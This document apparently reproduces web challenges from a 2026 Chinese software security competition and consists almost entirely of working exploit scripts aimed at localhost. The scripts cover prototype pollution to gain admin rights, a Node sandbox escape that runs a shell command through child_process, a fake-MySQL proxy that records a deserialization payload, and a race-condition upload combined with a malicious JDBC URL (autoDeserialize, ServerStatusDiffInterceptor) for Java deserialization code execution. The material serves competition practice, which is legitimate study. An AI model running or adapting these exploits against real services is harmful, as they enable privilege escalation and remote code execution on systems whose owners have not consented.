2026 软件系统安全赛区域赛 WEB 题目复现

import re
import sys
import requests
from bs4 import BeautifulSoup

s= requests.Session()

def exploit(target: str):
    target = target.rstrip("/")
    url = target + "/login"
    print(url)
    print("获取登录cookie")
    r = s.post(
        target + "/register",
        json={"username": "admin", "password": "123456"},  # ,"constructor": {"prototype": {"isAdmin": True}}
        timeout=10
    )
    print("[+] HTTP content:", r.content.decode('utf-8'))

    r = s.post(
        target + "/login",
        json={"username":"admin","password":"123456"},#,"constructor": {"prototype": {"isAdmin": True}}
        timeout=10
    )
    print("[+] HTTP content:", r.content.decode('utf-8'))

    r = s.post(
        target + "/changepassword",
        json={"oldPassword": "123456", "newPassword":"123456","confirmPassword":"123456","constructor": {"prototype": {"isAdmin": True}}},  # ,"constructor": {"prototype": {"isAdmin": True}}
        timeout=10
    )
    print("[+] HTTP content:", r.content.decode('utf-8'))

    r = s.get(target + "/admin", timeout=10)
    print("[+] HTTP content:", r.content.decode('utf-8'))

    r = s.post(
        target + "/sandbox",
        json={"code": "const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const run = Function(`return process.mainModule.require('child_process').execSync('whoami').toString()`); __result.value = run(); }); 'done';"},  # ,"constructor": {"prototype": {"isAdmin": True}}
        timeout=10
    )
    print("[+] HTTP content:", r.content.decode('utf-8'))

if __name__ == "__main__":
    exploit('http://127.0.0.1:3000')

import socket
import select

# 配置信息
FAKE_MYSQL_PORT = 3308  # 你本地能弹计算器的 Fake MySQL 端口
PROXY_PORT = 3309  # 本代理脚本监听的端口
PAYLOAD_FILE = "payload.txt"


def run_smart_proxy():
    proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    proxy_server.bind(('127.0.0.1', PROXY_PORT))
    proxy_server.listen(1)
    print(f"[*] 智能录制代理已启动，监听本地 {PROXY_PORT} 端口...")

    client_sock, addr = proxy_server.accept()
    print(f"[+] 收到 JDBC 客户端连接: {addr}")

    target_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    target_sock.connect(('127.0.0.1', FAKE_MYSQL_PORT))
    print(f"[+] 已连接到 Fake MySQL (3308端口)")

    payload_data = bytearray()

    try:
        while True:
            # 监听哪边有数据发过来，超时时间设置为 3 秒
            r, _, _ = select.select([client_sock, target_sock], [], [], 3.0)

            if not r:
                print("[*] 3秒内无数据交互，认为连接已结束，准备生成文件...")
                break

            for sock in r:
                if sock == client_sock:
                    # JDBC 客户端发话了 -> 转发给 Fake MySQL，并用 \x00 占位
                    data = client_sock.recv(65535)
                    if not data:
                        raise Exception("Client closed")
                    target_sock.sendall(data)
                    payload_data.extend(b'\x00' * len(data))
                    print(f"  [>] 客户端 -> 服务端: {len(data)} bytes (填充为 padding)")

                elif sock == target_sock:
                    # Fake MySQL 服务端发话了 -> 转发给 JDBC，并记录真实数据
                    data = target_sock.recv(65535)
                    if not data:
                        raise Exception("Server closed")
                    client_sock.sendall(data)
                    payload_data.extend(data)
                    print(f"  [<] 服务端 -> 客户端: {len(data)} bytes (记录真实数据)")

    except Exception as e:
        print(f"[*] 交互结束或中断: {e}")
    finally:
        client_sock.close()
        target_sock.close()
        proxy_server.close()

    # 将记录的完整线性交互保存为文件
    with open(PAYLOAD_FILE, "wb") as f:
        f.write(payload_data)
    print(f"\n[+++] 成功！智能录制完成，恶意文件 {PAYLOAD_FILE} 已生成！(总大小: {len(payload_data)} bytes)")


if __name__ == '__main__':
    run_smart_proxy()

import requests
import threading
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib.parse


class ImprovedRaceExploit:
    def __init__(self, base_url):
        self.base_url = base_url
        self.payload_content = None
        self.success_count = 0
        self.lock = threading.Lock()
        self.upload_url = f"{base_url}/api/upload"
        self.jdbc_template = "jdbc:mysql://127.0.0.1:3306/test?user=dd0f2d4&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&serverTimezone=UTC&socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory&namedPipePath=uploads/{filename}"
        self.stop_flag = False
        self.success_filename = None
        self.success_response = None

    def load_payload(self, payload_file="payload.txt"):
        with open(payload_file, 'rb') as f:
            self.payload_content = f.read()
        print(f"[+] 加载payload: {len(self.payload_content)} bytes")

    def upload_and_poll(self, filename):
        if self.stop_flag:
            return False

        files = {'file': (filename, self.payload_content, 'text/plain')}

        upload_session = requests.Session()
        trigger_session = requests.Session()

        def do_upload():
            try:
                resp = upload_session.post(self.upload_url, files=files, timeout=5)
                result = resp.json()
                if result.get('success'):
                    print(f"[+] 上传成功: {filename}")
                    return True
                elif "非 ASCII" in result.get('error', ''):
                    print(f"[!] 文件被标记删除: {filename} (但已写入)")
                    return True
                return False
            except Exception:
                return False

        upload_thread = threading.Thread(target=do_upload)
        upload_thread.start()

        jdbc_url = self.jdbc_template.format(filename=filename)
        encoded_url = urllib.parse.quote(jdbc_url, safe='')
        full_url = f"{self.base_url}/api/connect?url={encoded_url}"

        max_attempts = 30

        for attempt in range(max_attempts):
            if self.stop_flag:
                upload_thread.join(timeout=1)
                return False

            try:
                resp = trigger_session.get(full_url, timeout=2)
                response_text = resp.text

                # 打印响应（缩短显示）
                print(f"    响应: {response_text[:150]}...")

                # ===== 关键判断：直接在响应文本中查找成功标志 =====
                # 你的payload触发后，响应中会包含这些类名
                success_keywords = [
                    'PropertyWriter',
                    'AbstractTranslet',
                    'TemplatesImpl',
                    'org.apache.collections',
                    'com.sun.org.apache.xalan'
                ]

                is_success = any(keyword in response_text for keyword in success_keywords)

                if is_success:
                    with self.lock:
                        if not self.stop_flag:
                            self.stop_flag = True
                            self.success_count += 1
                            self.success_filename = filename
                            self.success_response = response_text
                            print(f"\n[🎯] 第{attempt + 1}次尝试成功: {filename}")
                            print(f"    响应: {response_text[:300]}")
                            upload_thread.join(timeout=1)
                            return True

            except Exception as e:
                pass

            time.sleep(0.005)
            if attempt > max_attempts // 2:
                time.sleep(0.01)

        upload_thread.join(timeout=2)
        print(f"[-] 超时: {filename} (尝试{max_attempts}次)")
        return False

    def race_attack(self, num_requests=50, workers=10):
        print(f"[*] 启动条件竞争: {num_requests} 个并发请求")
        print(f"[*] 工作线程: {workers}")
        print(f"[*] 检测关键词: PropertyWriter / AbstractTranslet / TemplatesImpl")
        print("-" * 60)

        with ThreadPoolExecutor(max_workers=workers) as executor:
            futures = []
            for i in range(num_requests):
                filename = f"race_{int(time.time() * 1000)}_{i:04d}.txt"
                future = executor.submit(self.upload_and_poll, filename)
                futures.append(future)

            for future in as_completed(futures):
                if self.stop_flag:
                    for f in futures:
                        if not f.done():
                            f.cancel()
                    print(f"\n[🛑] 检测到成功触发，停止所有线程！")
                    break

        print("-" * 60)
        if self.success_filename:
            print(f"\n[✅] 攻击成功！")
            print(f"    文件名: {self.success_filename}")
            print(f"    触发次数: {self.success_count}")
            if self.success_response:
                print(f"    响应内容: {self.success_response[:300]}")
        else:
            print(f"\n[❌] 攻击失败！未成功触发任何文件")

        print(f"[*] 完成！成功触发: {self.success_count}/{num_requests}")


if __name__ == "__main__":
    exploit = ImprovedRaceExploit("http://127.0.0.1:8000")
    exploit.load_payload("payload.txt")
    exploit.race_attack(num_requests=50, workers=10)